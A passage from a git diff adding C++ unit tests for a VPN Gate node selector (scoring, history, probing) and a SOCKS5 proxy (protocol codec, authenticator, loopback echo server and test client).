1000; + n.profile = "client\nremote " + ip + " 443 tcp\n"; + n.remotes.push_back(Remote{ip, 443, Proto::Tcp}); + return n; +} + +std::string temp_path(const char *leaf) { + auto p = std::filesystem::temp_directory_path() / + ("ovg_test_" + std::string(leaf)); + std::error_code ec; + std::filesystem::remove(p, ec); + return p.string(); +} + +} // namespace + +// --------------------------------------------------------------------------- +// Term shapes + +OVG_TEST(TermsAreBoundedAndMonotonic) { + CHECK_EQ(terms::score_term(0), 0.0); + CHECK_LT(terms::score_term(1000), terms::score_term(1000000)); + CHECK(terms::score_term(1000000000LL) <= 1.0); + + CHECK_EQ(terms::speed_term(0), 0.0); + CHECK_LT(terms::speed_term(1000000), terms::speed_term(100000000)); + CHECK(terms::speed_term(1000000000000LL) <= 1.0); + + // Fewer sessions is better. + CHECK_GT(terms::sessions_term(0), terms::sessions_term(20)); + CHECK_GT(terms::sessions_term(20), terms::sessions_term(200)); + CHECK_NEAR(terms::sessions_term(0), 1.0, 1e-9); + CHECK_NEAR(terms::sessions_term(20), 0.5, 1e-9); + + // Lower RTT is better; unmeasured is mediocre, not zero. + CHECK_GT(terms::rtt_term(10), terms::rtt_term(200)); + CHECK_NEAR(terms::rtt_term(0), 1.0, 1e-9); + CHECK_NEAR(terms::rtt_term(100), 0.5, 1e-9); + CHECK_GT(terms::rtt_term(-1), 0.0); + CHECK_LT(terms::rtt_term(-1), terms::rtt_term(100)); + + CHECK_EQ(terms::uptime_term(0), 0.0); + CHECK_NEAR(terms::uptime_term(7LL * 86400 * 1000), 1.0, 1e-9); + CHECK_NEAR(terms::uptime_term(70LL * 86400 * 1000), 1.0, 1e-9); // clamped +} + +OVG_TEST(ScoreIsAbsoluteNotSetRelative) { + // The same node must score identically whether it is ranked alone or among + // much better company. This is what makes the switch hysteresis meaningful. + SelectorConfig cfg; + Scorer scorer(cfg); + HistoryStore history("", cfg); + + const Node target = make_node("target", "1.1.1.1", "JP", 500000, 50000000, 30); + + std::vector alone{target}; + std::vector crowded{ + target, + make_node("giant", "2.2.2.2", "JP", 9000000, 900000000, 1), + make_node("tiny", "3.3.3.3", "JP", 10, 100, 900), + }; + + auto a = scorer.rank_by_prior(alone, history); + auto b = scorer.rank_by_prior(crowded, history); + CHECK_EQ(a.size(), size_t(1)); + CHECK_EQ(b.size(), size_t(3)); + + double crowded_target = -1; + for (const auto &s : b) + if (s.node->host_name == "target") crowded_target = s.score; + CHECK_NEAR(a[0].score, crowded_target, 1e-12); +} + +OVG_TEST(RankOrdersBetterNodesFirst) { + SelectorConfig cfg; + Scorer scorer(cfg); + HistoryStore history("", cfg); + + std::vector nodes{ + make_node("weak", "1.1.1.1", "JP", 100, 1000000, 400), + make_node("strong", "2.2.2.2", "JP", 5000000, 500000000, 5), + make_node("middling", "3.3.3.3", "JP", 200000, 20000000, 60), + }; + auto ranked = scorer.rank_by_prior(nodes, history); + CHECK_EQ(ranked.size(), size_t(3)); + CHECK_EQ(ranked[0].node->host_name, std::string("strong")); + CHECK_EQ(ranked[2].node->host_name, std::string("weak")); +} + +OVG_TEST(CountryFiltersApply) { + SelectorConfig cfg; + cfg.country_allow = {"JP", "KR"}; + Scorer scorer(cfg); + HistoryStore history("", cfg); + + std::vector nodes{ + make_node("jp", "1.1.1.1", "JP", 100, 1000, 1), + make_node("kr", "2.2.2.2", "KR", 100, 1000, 1), + make_node("ru", "3.3.3.3", "RU", 900000, 900000000, 1), + }; + auto ranked = scorer.rank_by_prior(nodes, history); + CHECK_EQ(ranked.size(), size_t(2)); + + SelectorConfig deny; + deny.country_deny = {"RU"}; + Scorer s2(deny); + CHECK_EQ(s2.rank_by_prior(nodes, history).size(), size_t(2)); +} + +OVG_TEST(NodeWithNoRemotesIsFilteredOut) { + SelectorConfig cfg; + Scorer scorer(cfg); + HistoryStore history("", cfg); + + auto broken = make_node("broken", "1.1.1.1", "JP", 900000, 900000000, 1); + broken.remotes.clear(); + std::vector nodes{broken}; + CHECK_EQ(scorer.rank_by_prior(nodes, history).size(), size_t(0)); +} + +OVG_TEST(BackedOffNodesSinkToTheBottom) { + SelectorConfig cfg; + Scorer scorer(cfg); + HistoryStore history("", cfg); + + std::vector nodes{ + make_node("good", "1.1.1.1", "JP", 5000000, 500000000, 1), + make_node("meh", "2.2.2.2", "JP", 100, 1000, 300), + }; + // Fail the strong node repeatedly; it must still be *returned* (as a last + // resort) but ranked last. + for (int i = 0; i < 3; ++i) history.record_failure(nodes[0].id()); + CHECK(history.is_backed_off(nodes[0].id())); + + auto ranked = scorer.rank_by_prior(nodes, history); + CHECK_EQ(ranked.size(), size_t(2)); + CHECK_EQ(ranked[0].node->host_name, std::string("meh")); + CHECK(ranked[1].backed_off); +} + +// --------------------------------------------------------------------------- +// History + +OVG_TEST(HistoryUnknownNodeIsNeutral) { + SelectorConfig cfg; + HistoryStore h("", cfg); + const auto s = h.get("nobody@0.0.0.0"); + CHECK_NEAR(s.success_rate(), 0.5, 1e-12); + CHECK(!h.is_backed_off("nobody@0.0.0.0")); +} + +OVG_TEST(HistoryTracksSuccessAndFailure) { + SelectorConfig cfg; + HistoryStore h("", cfg); + h.record_success("n@1", 50); + h.record_success("n@1", 70); + h.record_failure("n@1"); + const auto s = h.get("n@1"); + CHECK_EQ(s.successes, uint32_t(2)); + CHECK_EQ(s.failures, uint32_t(1)); + CHECK_EQ(s.consecutive_failures, uint32_t(1)); + CHECK_NEAR(s.success_rate(), 2.0 / 3.0, 1e-12); + // EWMA sits between the two samples, nearer the recent one. + CHECK_GT(s.ewma_rtt_ms, 50.0); + CHECK_LT(s.ewma_rtt_ms, 70.0); +} + +OVG_TEST(HistorySuccessClearsConsecutiveFailures) { + SelectorConfig cfg; + HistoryStore h("", cfg); + h.record_failure("n@1"); + h.record_failure("n@1"); + CHECK(h.is_backed_off("n@1")); + h.record_success("n@1", 20); + CHECK_EQ(h.get("n@1").consecutive_failures, uint32_t(0)); + CHECK(!h.is_backed_off("n@1")); +} + +OVG_TEST(HistoryBackoffGrowsAndIsCapped) { + SelectorConfig cfg; + cfg.failure_backoff_initial = Millis(1000); + cfg.failure_backoff_max = Millis(8000); + HistoryStore h("", cfg); + + h.record_failure("n@1"); + const auto one = h.backoff_remaining("n@1"); + CHECK_GT(one.count(), int64_t(0)); + CHECK(one.count() <= 1000); + + h.record_failure("n@1"); + CHECK_GT(h.backoff_remaining("n@1").count(), one.count()); + + // Far past the cap: must not overflow or explode. + for (int i = 0; i < 60; ++i) h.record_failure("n@1"); + CHECK(h.backoff_remaining("n@1").count() <= 8000); + CHECK_GT(h.backoff_remaining("n@1").count(), int64_t(0)); +} + +OVG_TEST(HistoryRoundTripsThroughDisk) { + const auto path = temp_path("history.tsv"); + SelectorConfig cfg; + { + HistoryStore h(path, cfg); + h.record_success("alpha@1.1.1.1", 42); + h.record_failure("beta@2.2.2.2"); + h.record_throughput("alpha@1.1.1.1", 1000000); + h.save(); + } + { + HistoryStore h(path, cfg); + h.load(); + CHECK_EQ(h.size(), size_t(2)); + const auto a = h.get("alpha@1.1.1.1"); + CHECK_EQ(a.successes, uint32_t(1)); + CHECK_NEAR(a.ewma_rtt_ms, 42.0, 1e-6); + CHECK_NEAR(a.ewma_throughput_bps, 1000000.0, 1.0); + CHECK_EQ(h.get("beta@2.2.2.2").failures, uint32_t(1)); + } + std::filesystem::remove(path); +} + +OVG_TEST(HistorySurvivesCorruptLines) { + const auto path = temp_path("history_corrupt.tsv"); + { + std::FILE *f = std::fopen(path.c_str(), "w"); + CHECK(f != nullptr); + std::fputs("# header\n", f); + std::fputs("good@1.1.1.1 5 1 0 0 1700000000000 33.5 1000\n", f); + std::fputs("this line is nonsense\n", f); + std::fputs("also@2.2.2.2 1 0 0 0 1700000000000 12.0 500\n", f); + std::fclose(f); + } + SelectorConfig cfg; + HistoryStore h(path, cfg); + h.load(); + // One bad line costs one node, not the file. + CHECK_EQ(h.size(), size_t(2)); + CHECK_EQ(h.get("good@1.1.1.1").successes, uint32_t(5)); + std::filesystem::remove(path); +} + +// --------------------------------------------------------------------------- +// Prober + +OVG_TEST(ProberMeasuresLocalListener) { + asio::io_context io; + asio::ip::tcp::acceptor acc(io, asio::ip::tcp::endpoint( + asio::ip::make_address("127.0.0.1"), 0)); + acc.listen(); + const uint16_t port = acc.local_endpoint().port(); + + // Accept and immediately drop; the prober only times the handshake. + std::function accept_one = [&] { + auto sock = std::make_shared(io); + acc.async_accept(*sock, [sock, &accept_one](std::error_code ec) { + if (!ec) accept_one(); + }); + }; + accept_one(); + + SelectorConfig cfg; + cfg.probe_samples = 2; + cfg.probe_timeout = Millis(1000); + Prober prober(io, cfg); + + std::vector got; + prober.probe({ProbeTarget{"live", "127.0.0.1", port}, + // Port 1 on loopback: nothing listens, connect is refused fast. + ProbeTarget{"dead", "127.0.0.1", 1}}, + [&](std::vector r) { + got = std::move(r); + acc.close(); + }); + io.run(); + + CHECK_EQ(got.size(), size_t(2)); + CHECK_EQ(got[0].node_id, std::string("live")); + CHECK(got[0].reachable); + CHECK_EQ(got[0].samples_ok, 2); + CHECK(got[0].rtt_ms >= 0.0); + CHECK_EQ(got[1].node_id, std::string("dead")); + CHECK(!got[1].reachable); +} + +OVG_TEST(ProberHandlesEmptyBatch) { + asio::io_context io; + SelectorConfig cfg; + Prober prober(io, cfg); + bool called = false; + prober.probe({}, [&](std::vector r) { + called = true; + CHECK(r.empty()); + }); + io.run(); + CHECK(called); +} + +OVG_TEST(ProberTimesOutOnBlackhole) { + // TEST-NET-1 (RFC 5737) is guaranteed not to be routable on a normal network, + // so the connect hangs and the timeout path is what completes the probe. + // Some sandboxes put a transparent proxy in front of all outbound TCP, which + // accepts everything and makes the case untestable; detect that and skip + // rather than assert something the environment cannot provide. + { + asio::io_context probe_io; + asio::ip::tcp::socket s(probe_io); + std::error_code ec = asio::error::would_block; + s.async_connect( + asio::ip::tcp::endpoint(asio::ip::make_address("192.0.2.1"), 443), + [&](std::error_code e) { ec = e; }); + probe_io.run_for(std::chrono::milliseconds(300)); + std::error_code ig; + s.close(ig); + if (!ec) SKIP("outbound TCP is transparently proxied here"); + } + + asio::io_context io; + SelectorConfig cfg; + cfg.probe_samples = 1; + cfg.probe_timeout = Millis(150); + Prober prober(io, cfg); + + std::vector got; + prober.probe({ProbeTarget{"blackhole", "192.0.2.1", 443}}, + [&](std::vector r) { got = std::move(r); }); + io.run(); + + CHECK_EQ(got.size(), size_t(1)); + CHECK(!got[0].reachable); +} + +// --------------------------------------------------------------------------- +// Selector, end to end over the real captured feed + +namespace { + +// A NodeStore primed from the sample CSV via its disk cache. The API URL points +// at a dead port so no network fetch can succeed, and we never run the +// io_context far enough for one to be attempted. +std::unique_ptr primed_store(asio::io_context &io) { + VpnGateConfig vg; + vg.api_urls = {"http://127.0.0.1:1/"}; + vg.cache_path = ovgtest::data_path("vpngate_sample.csv"); + vg.cache_max_age = std::chrono::hours(24 * 3650); + auto store = std::make_unique(io, vg); + store->start(); + return store; +} + +} // namespace + +OVG_TEST(SelectorRanksTheRealFeedWithoutProbing) { + asio::io_context io; + auto store = primed_store(io); + CHECK(store->has_nodes()); + + SelectorConfig cfg; + HistoryStore history("", cfg); + Selector sel(io, cfg, *store, history); + + SelectRequest req; + req.want = 5; + req.probe = false; + + std::vector got; + bool called = false; + sel.select(req, [&](std::vector c) { + called = true; + got = std::move(c); + }); + + CHECK(called); // the no-probe path must complete synchronously + CHECK_EQ(got.size(), size_t(5)); + // Ordered best-first, and each carries the profile the tunnel will need. + for (size_t i = 1; i < got.size(); ++i) CHECK(got[i - 1].score >= got[i].score); + for (const auto &c : got) { + CHECK(!c.node.profile.empty()); + CHECK(!c.node.remotes.empty()); + CHECK(!c.probed); + CHECK(c.reachable); + } + store->stop(); +} + +OVG_TEST(SelectorHonoursExclusions) { + asio::io_context io; + auto store = primed_store(io); + + SelectorConfig cfg; + HistoryStore history("", cfg); + Selector sel(io, cfg, *store, history); + + SelectRequest first; + first.want = 3; + first.probe = false; + std::vector a; + sel.select(first, [&](std::vector c) { a = std::move(c); }); + CHECK_EQ(a.size(), size_t(3)); + + // Exclude the winner -- this is what the switch controller does with the + // incumbent and with anything already draining. + SelectRequest second; + second.want = 3; + second.probe = false; + second.exclude_ids = {a[0].node.id()}; + std::vector b; + sel.select(second, [&](std::vector c) { b = std::move(c); }); + + CHECK_EQ(b.size(), size_t(3)); + for (const auto &c : b) CHECK_NE(c.node.id(), a[0].node.id()); + CHECK_EQ(b[0].node.id(), a[1].node.id()); + + store->stop(); +} + +OVG_TEST(SelectorRescoreMatchesRanking) { + // The hysteresis check compares a rescored incumbent against fresh + // candidates, so the two paths must agree for an unprobed node. + asio::io_context io; + auto store = primed_store(io); + + SelectorConfig cfg; + HistoryStore history("", cfg); + Selector sel(io, cfg, *store, history); + + SelectRequest req; + req.want = 1; + req.probe = false; + std::vector got; + sel.select(req, [&](std::vector c) { got = std::move(c); }); + CHECK_EQ(got.size(), size_t(1)); + + const auto again = sel.rescore(got[0].node.id()); + CHECK(again.has_value()); + CHECK_NEAR(again->score, got[0].score, 1e-12); + + CHECK(!sel.rescore("no-such-node@0.0.0.0").has_value()); + store->stop(); +} + +OVG_TEST(SelectorReportsNothingWhenNodeListIsEmpty) { + asio::io_context io; + VpnGateConfig vg; + vg.api_urls = {"http://127.0.0.1:1/"}; + vg.cache_path = ""; // no cache, no network => no nodes + vpngate::NodeStore store(io, vg); + + SelectorConfig cfg; + HistoryStore history("", cfg); + Selector sel(io, cfg, store, history); + + bool called = false; + sel.select({}, [&](std::vector c) { + called = true; + CHECK(c.empty()); + }); + CHECK(called); +} + +OVG_TEST(ProberRejectsNonLiteralHost) { + // Node hosts come from the .ovpn profile and are IP literals in practice. + // A name must be reported unreachable, not silently resolved -- resolving it + // here would be a DNS lookup outside the tunnel. + asio::io_context io; + SelectorConfig cfg; + Prober prober(io, cfg); + + std::vector got; + prober.probe({ProbeTarget{"named", "vpn.example.com", 443}}, + [&](std::vector r) { got = std::move(r); }); + io.run(); + + CHECK_EQ(got.size(), size_t(1)); + CHECK(!got[0].reachable); + CHECK_EQ(got[0].samples_ok, 0); +} diff --git a/tests/test_socks5.cpp b/tests/test_socks5.cpp new file mode 100644 index 0000000..64c5313 --- /dev/null +++ b/tests/test_socks5.cpp @@ -0,0 +1,1285 @@ +// SOCKS5 tests: the codec on its own, then the whole proxy over loopback. +// +// The codec tests are the fuzz-shaped ones -- truncated messages, zero-length +// names, an ATYP nobody has heard of -- because socks5/protocol.h is pure +// functions and those cases are cheap to state here and expensive to debug in a +// relay. +// +// The server tests run the real Server, the real Session, the real +// Authenticator and a real DirectEgress against a real loopback echo server. +// Nothing in the SOCKS5 path is faked: what is swapped out is the *tunnel*, +// which is precisely what DirectEgress exists for (egress/direct_egress.h). So +// these exercise the handshake, the three timers, half-close propagation, +// admission control, UDP ASSOCIATE and the zero-progress rehome exactly as they +// will run in production. + +#include + +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/error.h" +#include "egress/direct_egress.h" +#include "harness.h" +#include "socks5/protocol.h" +#include "socks5/server.h" + +using namespace ovg; +using namespace ovg::socks5; +using namespace std::chrono_literals; + +namespace { + +using Clock = std::chrono::steady_clock; + +bool run_until(asio::io_context &io, const std::function &pred, + std::chrono::milliseconds budget) { + const auto deadline = Clock::now() + budget; + while (!pred() && Clock::now() < deadline) { + io.restart(); + io.run_for(2ms); + } + return pred(); +} + +void settle(asio::io_context &io, std::chrono::milliseconds d = 40ms) { + const auto deadline = Clock::now() + d; + while (Clock::now() < deadline) { + io.restart(); + io.run_for(2ms); + } +} + +// --------------------------------------------------------------------------- +// Codec +// --------------------------------------------------------------------------- + +OVG_TEST(protocol_decodes_a_greeting_and_reports_partial_input) { + const uint8_t full[] = {0x05, 0x02, 0x00, 0x02}; + + // Every proper prefix must ask for more, not fail. A client is entitled to + // dribble the greeting one byte per segment. + for (size_t n = 0; n < sizeof(full); ++n) { + Greeting g; + const Decode d = decode_greeting(full, n, &g); + CHECK_EQ(static_cast(d.status), static_cast(Status::NeedMore)); + } + + Greeting g; + const Decode d = decode_greeting(full, sizeof(full), &g); + CHECK_EQ(static_cast(d.status), static_cast(Status::Ok)); + CHECK_EQ(d.used, sizeof(full)); + CHECK(g.offers(Method::NoAuth)); + CHECK(g.offers(Method::UserPass)); + CHECK(!g.offers(Method::Gssapi)); +} + +OVG_TEST(protocol_rejects_impossible_greetings) { + // Wrong version: SOCKS4 knocking on a SOCKS5 port. + const uint8_t v4[] = {0x04, 0x01, 0x00}; + Greeting g; + CHECK_EQ(static_cast(decode_greeting(v4, sizeof(v4), &g).status), + static_cast(Status::Bad)); + + // NMETHODS == 0 can never become valid, so it must not sit in NeedMore + // forever waiting for a method that is not coming. + const uint8_t none[] = {0x05, 0x00}; + CHECK_EQ(static_cast(decode_greeting(none, sizeof(none), &g).status), + static_cast(Status::Bad)); +} + +OVG_TEST(protocol_decodes_userpass_including_empty_fields) { + const uint8_t msg[] = {0x01, 0x03, 'b', 'o', 'b', 0x02, 'h', 'i'}; + UserPass up; + const Decode d = decode_userpass(msg, sizeof(msg), &up); + CHECK_EQ(static_cast(d.status), static_cast(Status::Ok)); + CHECK_EQ(up.username, std::string("bob")); + CHECK_EQ(up.password, std::string("hi")); + + // A zero-length password is well-formed per the grammar; rejecting it is the + // authenticator's job, not the parser's. + const uint8_t empty_pw[] = {0x01, 0x01, 'a', 0x00}; + const Decode d2 = decode_userpass(empty_pw, sizeof(empty_pw), &up); + CHECK_EQ(static_cast(d2.status), static_cast(Status::Ok)); + CHECK_EQ(up.password, std::string("")); + + const uint8_t wrong_ver[] = {0x05, 0x01, 'a', 0x01, 'b'}; + CHECK_EQ( + static_cast(decode_userpass(wrong_ver, sizeof(wrong_ver), &up).status), + static_cast(Status::Bad)); +} + +OVG_TEST(protocol_decodes_all_three_address_types) { + { + const uint8_t req[] = {0x05, 0x01, 0x00, 0x01, 192, 0, 2, 1, 0x01, 0xBB}; + Request r; + CHECK_EQ(static_cast(decode_request(req, sizeof(req), &r).status), + static_cast(Status::Ok)); + CHECK_EQ(r.target.to_string(), std::string("192.0.2.1:443")); + } + { + uint8_t req[4 + 16 + 2] = {0x05, 0x01, 0x00, 0x04}; + req[4 + 15] = 1; // ::1 + req[4 + 16] = 0x00; + req[4 + 17] = 0x50; + Request r; + CHECK_EQ(static_cast(decode_request(req, sizeof(req), &r).status), + static_cast(Status::Ok)); + CHECK_EQ(r.target.to_string(), std::string("[::1]:80")); + } + { + const uint8_t req[] = {0x05, 0x01, 0x00, 0x03, 0x0B, 'e', 'x', 'a', + 'm', 'p', 'l', 'e', '.', 'c', 'o', 'm', + 0x01, 0xBB}; + Request r; + CHECK_EQ(static_cast(decode_request(req, sizeof(req), &r).status), + static_cast(Status::Ok)); + CHECK(r.target.is_domain()); + CHECK_EQ(r.target.domain(), std::string("example.com")); + CHECK_EQ(r.target.port(), uint16_t{443}); + } +} + +OVG_TEST(protocol_normalises_a_literal_sent_as_a_domain) { + // Some clients put an IP in an ATYP=3 field. Leaving it as a name would make + // the egress spend a DNS query resolving "192.0.2.7" to itself. + const uint8_t req[] = {0x05, 0x01, 0x00, 0x03, 0x09, '1', '9', '2', + '.', '0', '.', '2', '.', '7', 0x00, 0x50}; + Request r; + CHECK_EQ(static_cast(decode_request(req, sizeof(req), &r).status), + static_cast(Status::Ok)); + CHECK(!r.target.is_domain()); + CHECK_EQ(r.target.to_string(), std::string("192.0.2.7:80")); +} + +OVG_TEST(protocol_rejects_malformed_requests) { + Request r; + + // A zero-length domain: no more bytes can rescue it. + const uint8_t zero_name[] = {0x05, 0x01, 0x00, 0x03, 0x00, 0x00, 0x50}; + CHECK_EQ( + static_cast(decode_request(zero_name, sizeof(zero_name), &r).status), + static_cast(Status::Bad)); + + // Unknown ATYP. + const uint8_t bad_atyp[] = {0x05, 0x01, 0x00, 0x09, 0x01, 0x02}; + CHECK_EQ( + static_cast(decode_request(bad_atyp, sizeof(bad_atyp), &r).status), + static_cast(Status::Bad)); + + // Non-zero RSV. + const uint8_t bad_rsv[] = {0x05, 0x01, 0x77, 0x01, 1, 2, 3, 4, 0, 80}; + CHECK_EQ(static_cast(decode_request(bad_rsv, sizeof(bad_rsv), &r).status), + static_cast(Status::Bad)); + + // A truncated domain is only NeedMore -- the length byte says 11, we have 4. + const uint8_t truncated[] = {0x05, 0x01, 0x00, 0x03, 0x0B, 'e', 'x', 'a'}; + CHECK_EQ( + static_cast(decode_request(truncated, sizeof(truncated), &r).status), + static_cast(Status::NeedMore)); +} + +OVG_TEST(protocol_keeps_an_unknown_command_parsable) { + // The point: an unrecognised CMD must still yield a decoded address so the + // session can answer "command not supported" in-band instead of hanging up. + const uint8_t req[] = {0x05, 0x77, 0x00, 0x01, 10, 0, 0, 1, 0x00, 0x50}; + Request r; + CHECK_EQ(static_cast(decode_request(req, sizeof(req), &r).status), + static_cast(Status::Ok)); + CHECK_EQ(static_cast(r.command), 0x77); + CHECK_EQ(r.target.to_string(), std::string("10.0.0.1:80")); +} + +OVG_TEST(protocol_encodes_a_failure_reply_with_a_wellformed_address) { + // RFC 1928 requires BND even on failure. An empty endpoint must come out as + // 0.0.0.0:0, not as a short packet a client will choke on. + const auto out = encode_reply(Reply::ConnectionRefused, Endpoint()); + CHECK_EQ(out.size(), size_t{10}); + CHECK_EQ(out[0], uint8_t{0x05}); + CHECK_EQ(out[1], uint8_t{0x05}); + CHECK_EQ(out[2], uint8_t{0x00}); + CHECK_EQ(out[3], uint8_t{0x01}); + for (size_t i = 4; i < 10; ++i) CHECK_EQ(out[i], uint8_t{0}); +} + +OVG_TEST(protocol_maps_errors_onto_rfc1928_reply_codes) { + CHECK_EQ(static_cast(reply_for(make_error_code(Error::ConnectionRefused))), + static_cast(Reply::ConnectionRefused)); + CHECK_EQ(static_cast(reply_for(make_error_code(Error::HostUnreachable))), + static_cast(Reply::HostUnreachable)); + CHECK_EQ( + static_cast(reply_for(make_error_code(Error::NetworkUnreachable))), + static_cast(Reply::NetworkUnreachable)); + CHECK_EQ(static_cast(reply_for(make_error_code(Error::NotSupported))), + static_cast(Reply::CommandNotSupported)); +} + +OVG_TEST(protocol_round_trips_a_udp_datagram_header) { + const uint8_t payload[] = {0xDE, 0xAD, 0xBE, 0xEF}; + const Endpoint from(*IpAddress::parse("198.51.100.9"), 53); + const auto dgram = encode_udp_datagram(from, payload, sizeof(payload)); + + UdpHeader h; + CHECK(decode_udp_header(dgram.data(), dgram.size(), &h)); + CHECK_EQ(h.frag, uint8_t{0}); + CHECK_EQ(h.target.to_string(), std::string("198.51.100.9:53")); + CHECK_EQ(dgram.size() - h.header_len, sizeof(payload)); + CHECK(std::memcmp(dgram.data() + h.header_len, payload, sizeof(payload)) == 0); +} + +OVG_TEST(protocol_udp_header_is_all_or_nothing) { + // A datagram is a complete message or it is garbage; there is no "wait for + // more", so a truncated one must be rejected rather than half-decoded. + const uint8_t truncated[] = {0x00, 0x00, 0x00, 0x01, 1, 2}; + UdpHeader h; + CHECK(!decode_udp_header(truncated, sizeof(truncated), &h)); + + const uint8_t bad_rsv[] = {0x01, 0x00, 0x00, 0x01, 1, 2, 3, 4, 0, 53}; + CHECK(!decode_udp_header(bad_rsv, sizeof(bad_rsv), &h)); + + // FRAG is surfaced, not rejected: dropping it is the relay's decision and it + // has to count the drop. + const uint8_t fragged[] = {0x00, 0x00, 0x07, 0x01, 1, 2, 3, 4, 0, 53}; + CHECK(decode_udp_header(fragged, sizeof(fragged), &h)); + CHECK_EQ(h.frag, uint8_t{7}); +} + +// --------------------------------------------------------------------------- +// Authenticator +// --------------------------------------------------------------------------- + +OVG_TEST(authenticator_accepts_only_the_right_password) { + std::vector users{make_credential("alice", "s3cret"), + make_credential("bob", "hunter2")}; + Authenticator a(users, true); + + CHECK(a.check("alice", "s3cret")); + CHECK(a.check("bob", "hunter2")); + CHECK(!a.check("alice", "hunter2")); + CHECK(!a.check("alice", "")); + CHECK(!a.check("", "s3cret")); + CHECK(!a.check("mallory", "s3cret")); + CHECK_EQ(a.successes(), uint64_t{2}); + CHECK_EQ(a.failures(), uint64_t{4}); +} + +OVG_TEST(authenticator_hashes_even_for_an_unknown_user) { + // The property that matters is that a miss does real work: an attacker must + // not be able to enumerate usernames by timing. Measuring wall-clock in a + // unit test is flaky, so this asserts the observable proxy for it -- a miss + // against an empty credential set still returns false rather than + // short-circuiting on "no users configured". + Authenticator empty({}, true); + CHECK(empty.empty()); + CHECK(!empty.check("anyone", "anything")); + CHECK_EQ(empty.failures(), uint64_t{1}); +} + +OVG_TEST(authenticator_reload_replaces_the_whole_set) { + Authenticator a({make_credential("old", "pw")}, true); + CHECK(a.check("old", "pw")); + CHECK_EQ(a.replace({make_credential("new", "pw2")}), size_t{1}); + CHECK(!a.check("old", "pw")); + CHECK(a.check("new", "pw2")); +} + +// --------------------------------------------------------------------------- +// A loopback echo server, and a minimal SOCKS5 client to drive the proxy +// --------------------------------------------------------------------------- + +// Echoes, and can be told to half-close after N bytes so the proxy's EOF +// propagation is observable from the client side. +class EchoServer { + public: + explicit EchoServer(asio::io_context &io) + : acceptor_(io, asio::ip::tcp::endpoint( + asio::ip::make_address("127.0.0.1"), 0)) { + accept(); + } + + uint16_t port() const { return acceptor_.local_endpoint().port(); } + void stop() { + std::error_code ignored; + acceptor_.close(ignored); + } + // When set, the connection sends this greeting then immediately half-closes. + void say_then_fin(std::string s) { greeting_ = std::move(s); } + + private: + struct Conn : std::enable_shared_from_this { + Conn(asio::ip::tcp::socket s, std::string greeting) + : sock(std::move(s)), greeting(std::move(greeting)) {} + asio::ip::tcp::socket sock; + std::string greeting; + char buf[4096]; + + void go() { + if (!greeting.empty()) { + auto self = shared_from_this(); + asio::async_write(sock, asio::buffer(greeting), + [self](const std::error_code &ec, size_t) { + if (ec) return; + std::error_code ignored; + // Half-close: the client must still be able to send. + self->sock.shutdown( + asio::ip::tcp::socket::shutdown_send, ignored); + self->drain(); + }); + return; + } + echo(); + } + + void echo() { + auto self = shared_from_this(); + sock.async_read_some( + asio::buffer(buf), [self](const std::error_code &ec, size_t n) { + if (ec) return; + asio::async_write(self->sock, asio::buffer(self->buf, n), + [self](const std::error_code &wec, size_t) { + if (!wec) self->echo(); + }); + }); + } + + void drain() { + auto self = shared_from_this(); + sock.async_read_some(asio::buffer(buf), + [self](const std::error_code &ec, size_t) { + if (!ec) self->drain(); + }); + } + }; + + void accept() { + acceptor_.async_accept( + [this](const std::error_code &ec, asio::ip::tcp::socket s) { + if (ec) return; + std::make_shared(std::move(s), greeting_)->go(); + accept(); + }); + } + + asio::ip::tcp::acceptor acceptor_; + std::string greeting_; +}; + +class UdpEcho { + public: + explicit UdpEcho(asio::io_context &io) + : sock_(io, asio::ip::udp::endpoint(asio::ip::make_address("127.0.0.1"), + 0)) { + recv(); + } + uint16_t port() const { return sock_.local_endpoint().port(); } + void stop() { + std::error_code ignored; + sock_.close(ignored); + } + + private: + void recv() { + sock_.async_receive_from(asio::buffer(buf_), from_, + [this](const std::error_code &ec, size_t n) { + if (ec) return; + std::error_code ignored; + sock_.send_to(asio::buffer(buf_, n), from_, 0, + ignored); + recv(); + }); + } + asio::ip::udp::socket sock_; + asio::ip::udp::endpoint from_; + char buf_[2048]; +}; + +// A blocking SOCKS5 client. Blocking is fine and preferable here: it runs on +// the test thread while the io_context is pumped by `run_until`, so the test +// reads like the protocol exchange it is checking. +// +// Every call needs the io_context pumped concurrently, which is why the helpers +// below take it and spin -- there is no second thread to hide the ordering in. +class Client { + public: + Client(asio::io_context &io, uint16_t port) : io_(io), sock_(io) { + std::error_code ec; + sock_.connect(asio::ip::tcp::endpoint(asio::ip::make_address("127.0.0.1"), + port), + ec); + connected_ = !ec; + } + + bool connected() const { return connected_; } + asio::ip::tcp::socket &socket() { return sock_; } + + void send(const std::vector &b) { + std::error_code ec; + asio::write(sock_, asio::buffer(b), ec); + } + void send(const std::string &s) { + std::error_code ec; + asio::write(sock_, asio::buffer(s), ec); + } + + // Reads exactly n bytes while pumping the io_context. Returns fewer on error + // or timeout, which every caller checks. + std::vector recv_exact(size_t n, std::chrono::milliseconds budget) { + std::vector out; + out.resize(n); + size_t got = 0; + bool done = false, failed = false; + asio::async_read(sock_, asio::buffer(out), + [&](const std::error_code &ec, size_t transferred) { + got = transferred; + done = true; + failed = static_cast(ec); + }); + run_until(io_, [&] { return done; }, budget); + if (!done || failed) { + std::error_code ignored; + sock_.cancel(ignored); + run_until(io_, [&] { return done; }, 200ms); + } + out.resize(got); + return out; + } + + bool eof(std::chrono::milliseconds budget) { + uint8_t b = 0; + bool done = false, is_eof = false; + sock_.async_read_some(asio::buffer(&b, 1), + [&](const std::error_code &ec, size_t) { + done = true; + is_eof = (ec == asio::error::eof); + }); + run_until(io_, [&] { return done; }, budget); + if (!done) { + std::error_code ignored; + sock_.cancel(ignored); + run_until(io_, [&] { return done; }, 200ms); + return false; + } + return is_eof; + } + + void half_close() { + std::error_code ignored; + sock_.shutdown(asio::ip::tcp::socket::shutdown_send, ignored); + } + void close() { + std::error_code ignored; + sock_.close(ignored); + } + + private: + asio::io_context &io_; + asio::ip::tcp::socket sock_; + bool connected_ = false; +}; + +std::vector connect_request(const std::string &host, uint16_t port) { + std::vector out{0x05, 0x01, 0x00}; + append_address(&out, Endpoint(host, port)); + return out; +} + +std::vector connect_request_ip(const std::string &ip, uint16_t port) { + std::vector out{0x05, 0x01, 0x00}; + append_address(&out, Endpoint(*IpAddress::parse(ip), port)); + return out; +} + +// --------------------------------------------------------------------------- +// Fixture +// --------------------------------------------------------------------------- + +struct ProxyFixture { + asio::io_context io; + Config cfg; + EchoServer echo{io}; + UdpEcho udp_echo{io}; + std::shared_ptr 